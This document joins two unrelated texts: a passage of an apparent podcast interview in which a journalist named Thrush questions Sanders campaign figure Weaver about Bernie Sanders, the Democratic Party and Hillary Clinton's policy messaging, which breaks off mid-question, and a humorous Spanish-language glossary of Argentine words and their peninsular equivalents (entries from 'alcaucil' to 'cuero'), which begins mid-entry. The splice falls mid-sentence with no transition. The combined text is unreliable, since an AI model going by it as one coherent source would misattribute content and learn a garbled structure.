WEAVER: Yeah. Yeah.
THRUSH: Do you think Bernie now is a capital-D Democrat?
WEAVER: In some ways, yeah.
THRUSH: [Laughs]
WEAVER: I mean, he was elected as an independent.
THRUSH: Right. When you say "in some ways," what are the ways he is and what are the ways he isn't?
WEAVER: Well, I think he's--I think his connection to the Democratic Party now is extremely strong. I think he has an institutional interest in reforming the party and making it a grassroots, broad-based party. So, in that sense, I think he has created a personal connection between himself and the party infrastructure. So it is an institution that he wants to see succeed. But, you know, he was elected as an independent.
THRUSH: And he still has that ethos.
WEAVER: He does. I would call him an independent Democrat.
THRUSH: An independent Democrat. Well put, as opposed to a socialist Democrat--Democratic socialist. I'm sorry.
So his role that he's going to play--we've talked about him--obviously he's somebody she really needs to get young people.
WEAVER: Yes.
THRUSH: Like it's really fun. I don't know--I think I did a story on this, where I quoted somebody saying, and it may be on the record, "What's your youth strategy?" to a senior Clinton advisor, and they were like, "Bernie Sanders." [Laughs]
So how does he--(a) how is that transferrable? How do you transfer what I saw when there were 18,000 people--was it in the Bronx? No, it was on the West Side--to a woman who sometimes has trouble getting 500 people to come into a parking lot?
WEAVER: Well, I mean, first of all, he's going to go on the campaign trail and the stump, and I think it will be aided a lot by the fact that she has moved--the secretary has moved tremendously on a number of issues, including this issue of free tuition in public college and universities, which was a tremendously popular plank that the senator ran on. You know, one of the problems that the Clinton people have, which is more of a process problem than a substance problem, is that their packaging often is very wonky and not, you know, clear enough, I think.
THRUSH: That's a great point. So explain to me how that can--because we're speaking a couple of hours before she gives her big speech. I ran into one of her senior people at a bar last night, and I asked him, "How's the speech going?" and the person said, "Long."
WEAVER: Right. Right. Although Bernie's speeches, you know, his stump speech was an hour and 45. So--
THRUSH: But I don't know. It moves. It's got a rhythm to it, right?
WEAVER: That's a--
[Overlapping speakers 0:29:40]
THRUSH: Hers does not have a--hers is like a Bruckner symphony, right, as opposed to cha-cha-cha. But the--we will take that out. [Laughs]
No, but, like, how do you think--because her people, or the people in her policy shop, dismiss that as bumper-sticker stuff. How do you kind of get what she represents into a more pithy--
WEAVER: Well, but you have to be able to talk about your 20-page policy in a bumper sticker. Do you know what I mean?
THRUSH: Yeah.
WEAVER: It doesn't mean you don't have the 20-page policy, because we have elaborate policies as well.
THRUSH: Right.
WEAVER: But, you know, some of it was legislation. Some of it was, you know, white papers. But you have to be able to describe it to people in, you know, a very short time period or amount of space.
THRUSH: And, by the way, lights just went out.
WEAVER: Thank goodness it's radio.
THRUSH: It might be from the storm.
WEAVER: Thank goodness it's a podcast. You're not a--
Technical break]
THRUSH: So in terms of this issue that she has with kind of expressing this pithily, Sanders has an intuitive sense to this stuff, right?
WEAVER: Yes. Very much so.
THRUSH: So he--I mean, this is kind of an under-appreciated skill. So how does that kind of work, functionally? So if he's working on a complicated policy, is he talking this stuff through with you? Is he editing press releases? Tell me how, like, Bernie operationally does this?
WEAVER: Well, what he does is--what he often does is he thinks about it backwards. So he'll think about, what is the outcome that he wants, right? So if it was free, you know, free tuition of public colleges and universities, so that becomes the starting point and then you work backwards from there in terms of how you design the policy to fit the outcome that you want, as opposed to noodling around policy and then seeing what the outcome is.
THRUSH: Well, she's--and she sort of does it the other way around, right?
WEAVER: Well, I haven't been involved in their policy deliberations, but, you know, they do--I think they do it differently than we did it.
THRUSH: Is there any policy that she has, and that you were running, that you were proposing to her, that you kind of looked across the line and would be like, if we were advocating that, we would express it this way? Like was there anything that you saw that she could have done better? Like--
WEAVER: You know, her college plan--I mean, she did have a very good college plan. It wasn't as sort of simple as the senator's but, you know, it was a very sort of convoluted, you know, a lot of means-testing and tiers and different programs sort of interlocking, and I think they could have distilled that down to something much more simple than what they had.
THRUSH: So to a certain extent it's like not showing people--not lifting up the hood on the car, just showing them the car.
WEAVER: Right. Right. Right. Because I don't know that people--you know, once you get to the, you know, the cylinder and the pistons, you know, people sort of--you've lost them.
THRUSH: And Trump does have that gift, except Trump obviously doesn't have a policy to go along with the rhetoric.
WEAVER: Right. He doesn't have it. He only has the bumper stickers. Now that's what--you know, if people complain about bumper stickers with no policy, I mean, that's what Trump is. He's bumper stickers with no policy. We had policies but we also had a bumper sticker that represented that policy.
THRUSH: Let's talk, in the last couple of questions, about kind of the way that this ended and kind of looking forward. You guys--you know, the Clinton people, I think, were pretty, I wouldn't say upset, but they were impatient, I think, after California. What took--explain to me, like, California happens. Clearly there's a decisive result. What were you guys--you get together, what were you thinking? You talked about him being very objective-based. When you were having meetings, what did you want to achieve in the interim between June 7th and the endorsement?
WEAVER: Well, I think what we wanted to do is to try to move as much of the agenda that he articulated during the campaign--and that really was what sort of drove him this entire campaign--try to move that into sort of action, either in the platform, in the rules, or, you know, we negotiated these two separate pieces with the Clinton administration, one around college education and one around health care. So it was very important that we sort of--to try to push that progressive agenda as far as one could get it, between the time of California and the time of an enforcement.
THRUSH: Now was there, like, a memo, deliverables? Did you guys have a priority sheet?
WEAVER: We did. Sure.
THRUSH: And so the college one was number one, right?
WEAVER: Yeah, the college and health care. Well, there were both sort of paired.
THRUSH: Do you feel like you could get it from her, right? I mean, like, she wasn't that distant from you in terms of the general policy stuff, right?
WEAVER: Right. Well, there was nothing about it that was--I mean, her only objective--you know, we had this meeting with the secretary that I was at, you know, with Bernie and Secretary Clinton, in--on the night of the D.C. primary, so some of this was discussed at this meeting. And, you know, she had articulated during the campaign that concern about giving money to sort of rich people's kids--
THRUSH: Right.
WEAVER: --to go to public colleges and universities, which we really didn't think it was a concern because most kids don't usually go to public college and universities, first of all.
THRUSH: Right.
WEAVER: And we do--you know, certainly with high schools Donald Trump's kids want to go to public high school. People will pay for it, right?
THRUSH: [Laughs]
WEAVER: I mean, if it’s not going to happen, but that's true, right? Any rich person can send their kids to a public high school.
THRUSH: Yeah.
WEAVER: So, you know, Bernie is very much in favor of creating universal programs, you know, simple universal programs--
THRUSH: Oh, that's interesting.
WEAVER: --and then paying for them progressively, right.
THRUSH: Because that--so you get it on the back end. So you tax them, so you don't--you're not getting it as a fee, you're getting it as a larger equity.
WEAVER: Right. Exactly. Exactly. You know, there's an old saying, programs for poor people are poor programs. So, you know, you create--I mean, Social Security is an example. You know, you create universal buy-in and then something is much more popular than if it's sort of means-tested or targeted to a small group of people.
THRUSH: That's actually kind of what the selling point failure of ACA was, is the fact that it really is kind of a--despite it being sold as a universal program, it's quite a narrow-casted program.
WEAVER: Right. Right.
THRUSH: You do not have an across-the-board buy-in. I guess that is the juxtaposition. That's why the public option is a more universal thing, right?
WEAVER: Right. Exactly. Exactly.
THRUSH: Well, you know, conceptually--it's so funny. It's just a simple idea and I had never really thought of it that way.
WEAVER: Yeah, and it makes things bureaucratically simpler as well.
THRUSH: But--okay. So how does she--so these two, and I know you don't want to--we |
dicen alcaucil? // NOTA POSTERIOR: ¡Sí!, me responden al unísono mis lectores andaluces. En Sevilla se dice alcaucil. ¿Nunca consideraron separarse de España y unírsenos?
alfajor. Comparados con España, en Argentina no sólo tenemos más palabras para designar las cosas; también tenemos más cosas. Por ejemplo, tenemos los alfajores, deliciosas golosinas formadas por dos tapas redondas de masa dulce encerrando un relleno de dulce de leche y bañadas en chocolate negro o blanco. Extrañamente, en España a nadie se le ocurrió hasta ahora fabricar alfajores, ni siquiera dulce de leche. ¡Gallegos tenían que ser! // NOTA POSTERIOR: Lectores andaluces me han escrito quejándose, ya que parece que después de todo ellos sí tienen alfajores. Pero me los han descrito y no tienen nada que ver con los verdaderos, quiero decir, con los nuestros.
alfiler de gancho.Imperdible. Yo he perdido muchos de éstos, pero debe ser porque soy argentino.
almacén. Colmado. Tienda de comestibles y algunos otros artículos.
amarrete. En España sería una forma estrambótica de decir "te amarré", en sí una construcción no demasiado probable. En Argentina, en cambio, la palabra es un adjetivo y significa "tacaño".
ananá. Piña. En Argentina piña es lo que producen los pinos, y también un puñetazo.
angosto. Ésta es la palabra que se usa en Argentina; jamás, o muy raramente, estrecho.
anotarse para. Apuntarse a. Ej.: "Me anoto para la pizza", y no "Me apunto a la pizza".
anteojos. Gafas. Y no telescopios o binoculares. Ah, y otra cosa: los anteojos se usan, no se llevan.
anuencia. Consentimiento. En realidad no es necesario venir a este Diccionario para encontrar esta palabra, ya que es perfectamente española, castellana, castiza y genuina. ¡Búsquenla en el Anaya si no! Pero en España la dejaron de usar.
año. Transoceánicamente esta palabra tiene el mismo significado en el 99% de los casos. Pero en uso estudiantil, puesto que cada curso dura un año decimos "Estoy en segundo año", no "en el segundo curso". Críptico, ¿no?
aplanadora. Apisonadora. Maquinaria usada para emparejar el asfalto. También, persona que arrasa con todo para obtener sus objetivos. Prefiero la maquinaria a la persona.
aplazar. Suspender. Referido a un examen o a una asignatura. Al ver cómo hablan ustedes, muchas veces nos dan ganas de aplazarlos en castellano...
aportar. Cotizar. Entregar mensualmente parte del sueldo al aparato de seguridad social, sólo para descubrir cuando tenemos un achaque que el sistema no lo cubre.
apurar. Apresurar.
apuro. Prisa. "Casarse de apuro" es... pero ya la gente no se casa por ese motivo, ahora tienen el hijo primero.
archivo. Fichero. Término de computación.
arco. Portería [en el fútbol]. Parece mucho más lógica la palabra arco, dado que no hay allí cerradura ni picaporte.
armar. En Argentina es posible armar un diccionario, por ejemplo. No se trata de adosarle una ametralladora, ni mucho menos. De este lado del océano, armar es elaborar cualquier cosa de a pequeñas porciones.
aros. Pendientes. Las mujeres siempre están pendientes de ellos. Una importante minoría de los hombres también, últimamente.
arquero. Portero, en el fútbol. El Día del Arquero es una fecha que se supone que no va a ocurrir nunca, tal es la importancia que asignamos a ese jugador (y así son los goles infantiles que nos hacen).
arrastre. Tirón (electoral). Por arrastre, políticos mediocres suelen ser votados por electores que los ven en un mismo partido que otros igualmente mediocres pero conocidos.
arveja. Guisante. Tardé muchos años en comprender que el guisante que le producía moretones a una princesa en un cuento infantil no era más que una vulgar arveja. Lo que todavía no entiendo es qué pueda tener de interesante una chica que no puede resistir la presión de una leguminosa a varios colchones de distancia.
asado. Un asado no es una carne puesta al horno, sino todo un complejo de pedazos del cuerpo vacuno, y aun del porcino, distribuidos en una parrilla para asarse a las brasas. El término también denota la reunión social motivada por esa ingesta (crudamente discriminatoria de los vegetarianos, lo admito).
asiento. Ustedes saben lo que es un asiento. Claro que lo saben. Lo que no saben es que nosotros también usamos esta palabra para referirnos al sillín de una bicicleta.
atado. Cajetilla de cigarrillos.
atajar. Detener un disparo el arquero.
Atrapado sin salida. Alguien voló sobre el nido del cuco. El nombre de la conocidísima película con Jack Nicholson fue traducido de forma diferente en Argentina y en España. En España tradujeron palabra por palabra el original inglés One flew over the cockoo's nest. Pero no se dieron cuenta de que "cuckoo", en ese contexto, significa "loco", y el espectador termina de verla preguntándose qué tendrá que ver el cuco en todo esto. Atrapado sin salida da una idea mucho mejor del contenido.
avisos fúnebres. Esquelas. Sección del diario en que finalmente se hablará de nosotros, pero cuando ya sea demasiado tarde.
Ir al índice alfabético
~ B ~
balde. Cubo. Un recipiente con asa cilíndrico o troncocónico no se entiende por qué se tenga que llamar cubo. La palabra argentina evita esa paradoja geométrica.
baldío. Solar. Terreno urbano aún no edificado.
balero. Boliche.Juguete consistente en una bola agujereada que se intenta ensartar con un palo sujeto a ella por un cordón. También sirve para machacar el cráneo de nuestro rival cuando vamos perdiendo.
banana. Plátano (la fruta). Para no confundirla con el árbol de hoja grande que en verano da sombra en las calles.
bancar. 1. Dar apoyo a alguien, especialmente cuando otros se lo niegan: "Mi jefe me bancó hasta que se dio cuenta él mismo de mi incapacidad". 2. Aguantar algo, tener capacidad para sobrellevarlo. Me dicen que este Diccionario es una porquería, pero yo me la banco.
banquina. Arcén. Palabra de origen italiano, como tantos argentinismos, y de hecho como tantos argentinos (un 40% según buenas fuentes).
barbijo. Mascarilla. Especie de bozal con que los cirujanos ocultan la mueca de asco que les provoca lo que ven adentro del paciente.
barrilete. Cometa. ¿Qué es un cielo lleno de cometas? En España, no se sabe muy bien. En Argentina sí, dado que cometa es un cuerpo celeste, y el objeto remontable hecho con cañas y papel se llama barrilete.
básquet. Jamás baloncesto, como no sea en las transmisiones radiales basadas en que el buen lenguaje consiste en tener un sinónimo para todo, aunque haya que recurrir a hórridos términos como balompié, baloncesto o balonmano.
batacazo. No un golpe, sino un resultado imprevisto. Ej.: "Se dio el batacazo: perdieron Ríver y Boca".
batifondo. Si esta palabra fuera de origen yanqui significaría el fondo de la Baticueva, o la cuenta bancaria de Batman. Pero es de raigambre itálica, y quiere decir "barullo, alboroto".
baúl. Maletero. En los coches.
baulera. Trastero. Cuartito para dejar objetos de uso poco frecuente, artefactos pendientes de reparación o, aprovechando un momento de descuido, suegras.
bautismo. Ésta es la palabra argentina para bautizo. Similarmente, "hechismo" es la palabra argentina para "hechizo"... ¡Mentira!
bazar. Jamás vayan a esta tienda argentina con la idea de comprar cuadernos o bolígrafos. Aquí expenden vajilla y material análogo.
berreta. Este adjetivo califica correctamente a, por ejemplo, este Diccionario. Significa ordinario, chabacano, de pésima calidad.
bicho bolita. Cochinilla. Insecto que se retrae cuando lo tocan formando una pequeña bola, asemejándose a algunos humanos cuando los critican.
bife. Bistec. Y no sólo eso. Un bife es también un sopapo o cachetada. Así que hay que vigilar bien el contexto cuando le proponen a uno darle un bife.
birome. Boli. En 1943 Laszlo Biro descubrió en Buenos Aires que si se llenaba un canuto con tinta y se le incrustaba una bolilla en la punta se obtenía un elemento de escritura. En Argentina se lo llamó birome en homenaje al inventor. En España se lo bautizó boli en homenaje a la bolilla. Laszlo había nacido en Hungría, pero como patentó la birome en Buenos Aires lo consideramos un invento argentino. Si hubiera sido un inventor argentino trabajando en Budapest, también nos lo habríamos adjudicado.
birra. Cerveza. Italianismo usado en ámbitos juveniles. // NOTA POSTERIOR: Dicen las malas lenguas que birra es usado también por la juventud española. Pero las lenguas más malas todavía, o sea las pésimas lenguas, dicen que empezaron a hacerlo a partir de que se estrenara en España nuestra película "Pizza, birra, faso".
boca de urna. Pie de urna. Es que los encuestadores argentinos son un poco más impacientes.
bocadito. Pequeño bocado de hojaldre, de unos 2 cm de diámetro, relleno de cosas a veces absurdas, como puede ser kiwi glaceado o pedazos de salmón con ananá.
Boca Júniors. No "el Boca Júniors", como oigo todo el tiempo en la TV española. Los clubes de fútbol argentinos no llevan artículo. (Odio tener que poner a Boca como ejemplo, pero seguro que ustedes no conocen a mi Rosario Central.)
bocina. Claxon. De un automóvil. En sentido figurado: soplón, correveidile.
boleta. Papeleta. En las elecciones. En Argentina se usa la boleta sábana, en la cual todos los candidatos a diputados por un distrito aparecen juntos y uno no puede separar la paja del grano cuando los vota. Aunque por otro lado es todo paja.
boletería. Taquilla. Aunque sí se lee en los diarios "...con gran éxito de taquilla", especialmente cuando el director sobornó al periodista para que oculte que la obra fue un fracaso.
boleto. Billete [de tren, autobús, teatro...].
boliche. Ninguna relación con un juego con bolas. Se trata de una tienda de poca importancia o, en uso contemporáneo, un bar o discoteca.
bolitas. Así de simple es la palabra argentina para canicas. Y antes de que me lo pregunten: sí; también se puede usar para los testículos de los bebés.
bolsa. Cualquier saco o costal, contenga dinero o no.
bolso. Gran saco o zurrón que puede reemplazar a una valija para un viaje corto o para cuando uno se va en carpa. Nunca una cartera femenina.
boludo. Gilipollas. Usado como vocativo, a veces tiene una paradójica connotación cariñosa o de camaradería: "Haceme caso, boludo". (Ésta es una de las tres o cuatro palabras argentinas más conocidas por los españoles. Sin embargo, los peninsulares no deberían usarla. No hay nada más ridículo que la palabra boludo pronunciada con acento español.)
bombacha. Braga. Prenda íntima femenina.
bombilla. Canuto que se usa para sorber el mate, con una punta abombada y llena de agujeritos que permiten pasar a la infusión pero no a la yerba. Tradicionalmente de metal, no faltan los herejes que las fabrican de plástico.
bombita. Bombilla de luz.
bonaerense. Oriundo de la provincia de Buenos Aires, no de la Ciudad Autónoma de Buenos Aires que funciona como capital de la Argentina. La provincia empieza donde termina la ciudad. Jamás confundir con un porteño.
botín. Bota, calzado usado en el fútbol. Si algún día irrumpo clandestinamente en el vestuario de un célebre jugador, me llevaré un botín de botín.
bretel. El tirante de un corpiño (sostén), generalmente consistente en una banda finita de tela.
bronca. En Argentina, cierto estado de ánimo alterado. En España, el conflicto, a veces físico, derivado de ese estado de ánimo. Cuando dos personas se tienen la bronca argentina, arman una bronca española.
bulín. Garçonnière. Para el despistado que no sepa gabacho: departamento adonde un hombre lleva regularmente a una mujer para retozar. O una mujer a un hombre. O un transexual a un oso hormiguero... Ya no hay respeto, señora.
bulo. Otra palabra para bulín.
bulón. ¿Todavía otra palabra para bulín...? ¡¡No!! Tornillo grande de cabeza ajustable con una llave. Es palabra francesa.
buzo. Sudadera. Prenda deportiva gruesa. En Madrid, una vez pedí en una tienda un "buzo para arquero de hándbol". Después de 45 minutos de idas y venidas lingüísticas, con la vendedora llegamos a la conclusión de que se trataba de una "sudadera para portero de balonmano". Eso fue lo que me decidió a compilar este Diccionario.
Ir al índice alfabético
~ C ~
cábala. Ritual supersticioso para obtener un resultado. Ej.: "Tengo la cábala de ir a rendir con una moneda de oro en el bolsillo"; "Recibí una oferta de una empresa pero por cábala no te voy a decir cuál". Jamás se usa en el sentido español de "hacer cábalas", esto es, especulaciones sobre el resultado de un proceso o negociación.
cachete. Los carrillos, y también las nalgas. Nunca los golpes afectuosos que se aplican sobre esas superficies.
cacho. Además de un pedazo de algo, un racimo de bananas.
calefón. Calentador. El dispositivo para calentar el agua con que nos bañamos o lavamos los platos, si es que hacemos esas cosas.
calesita. Tiovivo. La palabra tiovivo confunde, dado que no se refiere a un pariente particularmente despierto. Tampoco es que calesita resista el menor análisis, admitámoslo.
campera. Cazadora, chaqueta. Nombres ilógicos si los hay. Los españoles que usan cazadora en general jamás salieron de caza, y los argentinos que usan campera por lo común sólo conocen el campo como algo que se mueve detrás de las ventanillas de los trenes.
cana. Además de un pelo blanco, la policía. Estar en cana es estar en la cárcel. Mandar a alguien en cana es, figuradamente, delatarlo.
canalla. Además de algo malo, en Argentina esto significa algo bueno, a saber un simpatizante de Rosario Central, club que no es relevante en el escenario futbolístico mundial pero sí en algunos corazones como el del suscripto.
cancha. La palabra cancha designa no sólo el campo de juego en cualquier deporte de pelota (se habla, por ejemplo, de canchas de tenis, no de pistas), sino también un estadio de fútbol. Olor a cancha es el olor a marihuana, consumida con devoción casi litúrgica en las canchas argentinas. Cancha también significa desenvoltura: "en eso tiene mucha cancha" podría traducirse como "de eso sabe un rato largo".
canilla. Grifo. En Argentina canilla puede ser una parte de la pierna o el dispositivo con que se abre o corta el paso del agua. En España, grifo puede ser esto último o un ser mitológico. ¡Y no hablemos de lo que puede ser en Inglaterra tap!
cantero. Parterre, cuadro. Muchas avenidas en las ciudades argentinas tienen un cantero central.
capo. Mi natural modestia me impide aseverar que esta palabra me describe a mí. Proveniente del italiano, el vocablo denota al líder de un grupo o una organización y, figuradamente, a una persona extremadamente inteligente o capaz en una cierta disciplina.
caracú. Tuétano. Parte blanda de los huesos, que complementa un buen puchero.
carcamán. Carcamal. Viejo decrépito.
carozo. Hueso. Semilla dura de una aceituna, durazno, etc. Sumamente útil, porque permite reservar el término hueso a sus legítimos dueños, los animales.
carpa. Tienda de campaña. Irse en carpa es ir a un campamento a alojarse en una tienda.
carretel. Carrete de hilo.
carrito. Chiringuito. Restaurante más o menos informal. En Argentina, tuvieron su origen en pequeños carromatos que se instalaban en los parques a vender choripanes.
cartera. Bolso. Receptáculo de cuero, con dos asas, que usan las mujeres para llevar mucho menos de lo que quisieran. Muy rara vez usado en Argentina con el sentido de billetera. El bolso argentino es algo muy distinto.
cartuchera. Ustedes en las cartucheras llevan balas. Nosotros llevamos lápices. No por pacifismo, sino porque en Argentina son bolsitas de tela plastificada con cierre relámpago (cremallera para ustedes) usadas por los escolares para guardar sus útiles. Un estuche o plumier, o sea.
casa rodante. Caravana. En Argentina, caravana ha mantenido su significado tradicional de larga fila de camellos que van por el desierto transportando cosas.
cascarudo. Según la lógica, un huevo. En la realidad irracional del idioma, un escarabajo.
castellano. Se van a reír, pero muchos argentinos piensan que castellano ¡es la variedad de español que se habla en Argentina! Si Cervantes resucitara... probablemente sus editores le exigirían la inclusión de una escena sexual entre el Quijote y Dulcinea en un motel de Barataria.
ceca. Cruz, uno de los lados de una moneda. "Cara o ceca" equivale a "cara o cruz", y ambas expresiones siempre me desconcertaron, porque es en la ceca o cruz donde suele estar la cara de un personaje.
celular. Móvil. Teléfono transportable para recibir llamadas en un teatro, cine o templo.
chabón. Tío, tipo, chaval. Yo no quería poner esta palabra, pero me insistieron tantos lectores que al final me tuve que avenir. Mi pequeña cuestión personal es que es una palabra de Buenos Aires, ciudad con la cual me siento tan identificado como con Pierre, Dakota del Sur.
chacra. Propiedad de mediana extensión donde se cultivan cereales y se cría vacuno.
chancho. Cerdo. Supuestamente derivado de Sancho Panza, pero en ese caso es extraño que no se haya conservado en España.
chanfle. Chaflán. Usado exclusivamente en referencia a un bisel practicado sobre una arista, típicamente de metal o de vidrio, y jamás en referencia a las ochavas de una manzana urbana.
changa. Chapuza. Trabajo informal y por un período breve de tiempo. Esto es, el 80% de los empleos disponibles en la precarizada economía argentina.
changuito. Carrito de la compra. Originalmente, un changuito es un niño en el noroeste argentino, lo cual da una idea de las funciones que en esa región se espera cumplan los menores.
chanta. Fantasma. Persona que dice ser lo que no es, o, con más frecuencia aún, que realmente lo cree.
chau. Adiós. Palabra de origen italiano gradualmente adoptada por todo el mundo menos, parece, por España. // NOTA POSTERIOR: De acuerdo, también por España, según mis informantes. Pero allá no es la palabra normal, la palabra neutra.
chaucha. Leguminosas en sus vainas, muy sabrosas después de un hervor. Me informan que ustedes las llaman judías verdes.
che. Vocativo sin equivalente en español. Permite dirigirse a alguien sin pronunciar su nombre: "¡Che, vení acá!"; "¿Te parece, che?". Reservado al trato íntimo. // NOTA POSTERIOR: Numerosos lectores se quejan diciendo que che sí se dice en Valencia. De acuerdo, pero eso es valenciano, ¿entienden? No castellano, ¡valenciano! O no se enteraron del artículo 3 de la Constitución Española y etc.
chequera. ¿Por qué usar talonario de cheques cuando con chequera basta? Aunque bien mirado no hay como el efectivo.
cheto. Pijo. Individuo dedicado a la ostentación de su estatus social real o supuesto.
chinchulín. El intestino delgado de la vaca, que adecuadamente adobado y cocido es mucho más sabroso de lo que podría pensar el lego (el no argentino).
choclo. Mazorca. Aunque el académico Manuel Seco diga que es una especie de papilla de maíz, choclo es una mazorca tierna con todos los granos en su lugar. También los granos enteros que se pueden desprender de la misma.
chofer. Chófer. Aviso para españoles: la palabra es aguda, como todas las francesas (palabras y mujeres).
chomba. Remera con solapas. Ustedes la llaman polo.
choripán. Como puede inferirse con un cociente intelectual moderado, sándwich de chorizo en pan francés. Tentempié básico de los argentinos al aire libre, por ejemplo en las canchas.
choro. Ciertamente, pieza musical brasileña, pero no es lo primero que asocia un argentino con esta palabra. Aquí, un choro es un ladrón. Escrito y pronunciado también chorro, pero eso es en Buenos Aires.
choto. En España, y cito a la Academia, "cría de la cabra mientras mama" (¿debemos suponer que cuando se echa a dormir ya recibe otro nombre?). En Argentina, miembro viril (y aquí la definición vale aun en contextos no mamatorios).
chueco. Patizambo. Individuo de piernas torcidas.
chupamate. Palomero. Tipo que en el fútbol se queda cerca del arco (portería para ustedes) a la espera de que llegue una pelota perdida que le permita hacer un gol.
chupetín. Lógicamente, caramelo con un palito incrustado que permite chuparlo y sacárselo de la boca en ciclos sucesivos. Características éstas que no podrían deducirse de su nombre español de pirulí (también usado en Argentina cuando su forma es cónica). // NOTA POSTERIOR: aseveran mis informantes que la traducción más popular en Hispania es el nombre comercial Chupa-chups.
chupina (hacerse la). Hacer novillos, hacer pellas. Faltar a la escuela a escondidas de los padres. Nunca se ha implementado, que yo sepa, la represalia lógica: que los padres falten al trabajo a escondidas de sus hijos.
cierre relámpago (o cierre a secas).Cremallera. Lo que muchos hombres, inadvertidamente —e inclusive algunos deliberadamente— solemos tener abierto.
cinta Scotch. Como ven, no me privo de hacer un poco de "product placing" (propaganda disimulada). Es la cinta adhesiva, celo para ustedes, introducida en Argentina por la marca homónima.
ciruja. Persona que va por las calles recogiendo objetos para revender. Su equipamiento incluye un carro de tracción humana o, en los casos más prósperos, equina. Los hay especializados en vidrio, metal y ciertos hidratos de carbono (que el papel y el cartón también lo son, ¡culturícense un poco!).
clásico. Derbi. Barcelona-Real Madrid es un derbi. Ríver-Boca es un clásico.
cobija. Manta. Ropa de cama.
cobrar una falta. (Fútbol) En España, ejecutar el disparo correspondiente un jugador. En Argentina, sancionar la falta el árbitro.
cocinar. Sé que saben lo que quiere decir esta palabra. Está aquí para recordarles que en Argentina jamás decimos guisar.
cococho (a). A cuestas. Manera que tiene uno de llevar a sus hijos pequeños, existiendo dos modalidades: el niño puede (1) rodear con sus piernas la cintura del adulto, agarrándose con las manos del cuello, o bien (2) sentarse sobre el pescuezo del mayor, apoyándole las nalgas en los hombros y agarrándose del pelo, si el padre es suficientemente masoquista.
coger. Follar. Éste es un verbo tabú. Aunque usted tenga un acento madrileño que mata, su interlocutor argentino igual se va a sentir incómodo si lo usa. Sobre todo no diga cosas como: "Vino ese chico para el puesto de dependiente y lo cogí inmediatamente...". Opciones sugeridas: tomar, agarrar.
coima. Soborno. Palabra sumamente popular, tanto como la propia práctica que describe.
cola. Culo. La cola argentina no es solamente el rabo de los animales, sino también el culo humano (para evitar kafkianas confusiones, no se dice en cambio cola con el significado de pene). Existiendo esta palabra eufemística, se comprenderá que culo es mucho más malsonante en Argentina que en España.
colectivo. Autobús. Se lo usa muy poco en el sentido de "grupo de gente que comparte una característica", prefiriéndose "colectividad" o "comunidad".
colimba. Mili. Según la etimología popular, palabra derivada de "corre, limpia y barre", funciones tradicionalmente endilgadas a los involuntarios reclutas del servicio militar. Según fuentes mejor documentadas, derivaría de "colimi", esto es, milico sometido a un proceso de vesre. La colimba fue eliminada en 1994.
combinación. Una combinaciónen el subte argentino es lo que una correspondencia en el metro español.
comida. Si su amigo argentino le dice "hoy le hacen una comida de homenaje a Fulano" es probable que usted se presente con unas nueve horas de anticipación. Es que en Argentina una comida es una cena, no un almuerzo.
comisión directiva. Junta directiva. En un club o institución, el grupo de personas que decide lo que hacer con los fondos societarios y, en ocasiones, lo aprovecha muy bien.
compras (las). En Argentina, con cierto optimismo, se supone que si uno sale con un changuito y dinero es para comprar varias cosas, no una. Por eso decimos "salir a hacer las compras". Si escucháramos "me voy a hacer la compra", como se dice en España, le aconsejaríamos al que tal profiere que para ir a buscar un solo artículo no se moleste.
computadora. Ordenador. Respectivamente, inglés "computer" y francés "ordinateur". A quién se le ocurre calcarle el término a una potencia de segunda fila que ni siquiera inventó el dispositivo. ¡Nosotros sí que sabemos a quién copiarle!
concejo deliberante. Consistorio de una ciudad.
concha. Coño. Para su significado recto usamos "caparazón".
conductor. Presentador. De un programa de TV.
consorcio. Comunidad de vecinos. Un consorcio es el conjunto de los propietarios de los departamentos en un edificio. Una reunión de consorcio suele ser el momento en que lo peor del ser humano sale a relucir.
constipado. Si usted consulta a un médico argentino por estar constipado, lo más probable es que le recete un laxante. En Argentina, significa "estreñido del vientre", no "resfriado".
consultorio. Consulta médica. Nos parece de una pobreza indecible que se use el término consulta —el acto de ir a consultar a un facultativo— para designar también al despacho del galeno.
contador. Contable. El profesional que nos ayuda a evadir impuestos y nos denuncia por ese delito cuando nos atrasamos en el pago de sus honorarios.
control. Mando. Nombres y apellidos completos: control remoto y mando a distancia. Adminículo a botoncitos para originar peleas domésticas, promover la idiotización de infantes y fines análogos.
cordón. Bordillo. El cordón de la vereda es en la Argentina lo que el bordillo de la acera en España. ¿Hablamos o no hablamos dos idiomas distintos?
coriandro. Cilantro. Al 90% de los lectores les extrañará encontrar esta palabra que no saben lo que quiere decir. Pero el 10% al que le gusta la buena cocina apreciará que me haya acordado de esta hierba aromática aquí.
corpiño. No un cuerpo pequeño en Galicia, sino el sostén de las mujeres. No el marido, sino la pieza de tela que sujeta el busto. No el busto de un prócer, sino...
corralito. Parque. Recinto con barrotes o entramados de resistentes fibras plásticas del cual los bebés de todas maneras terminan escapando. // NOTA POSTERIOR: En diciembre del 2001 esta palabra adquirió otro significado ("retención forzada de ahorros en bancos"), pero se difundió rápidamente por todo el mundo hispánico, así que ya no es un argentinismo.
cortadora de césped. Cortacésped. En Argentina la usamos tan poco que no vemos la necesidad de tener una palabra sola que la defina.
costo. Coste. Cambio de vocal final para simple confusión. El costo total de un proyecto, por ejemplo. (Vale también para las acepciones en que ustedes sí usan costo.)
crema. Nata. En Argentina, la nata es esa desagradable membrana que se forma en la superficie de la leche cuando uno la hierve y la deja reposar. Todo lo demás, incluyendo el producto que se obtiene por centrifugación de la leche fresca, es crema.
cuadra. Una de las palabras que más rápidamente adoptan los españoles de paso por la Argentina, por lo útil y porque no hay equivalente peninsular. Una cuadra es el segmento de una calle ubicado entre dos intersecciones consecutivas (con lo cual se diferencia de una manzana). Si digo "La casa está en esta cuadra", estoy diciendo que está sobre esta calle, y precisamente en la vereda en la que estoy en este momento o en la de enfrente.
cuarto oscuro. Cabina electoral. No es propiamente un cuarto, y tampoco está oscuro, aunque las selecciones hechas por los votantes a veces hagan pensar que sí.
cucha. Es la caseta de un perro. En España no hay un nombre exclusivo para eso, que yo sepa. ¡Canes hispánicos, a manifestarse!
cuenta regresiva. Cuenta atrás. Generalmente desde 10 hasta 0, la cuenta que precede al lanzamiento de un cohete o a la explosión de una bomba.
cuerito. Junta. Arandela de caucho que controla el paso del agua en una canilla, hasta que un buen día (por lo general un domingo) lo deja de controlar y nos sorprende sin repuesto en casa.
cuero. Piel. Los objetos de cuero, en Argentina, son los elaborados con cuero de vaca; y los de piel, aquéllos fabricados con pieles finas, en general abundantes en pelos, como visón o chinchilla. En España el término piel abarca a ambos, desconcertando al argentino.
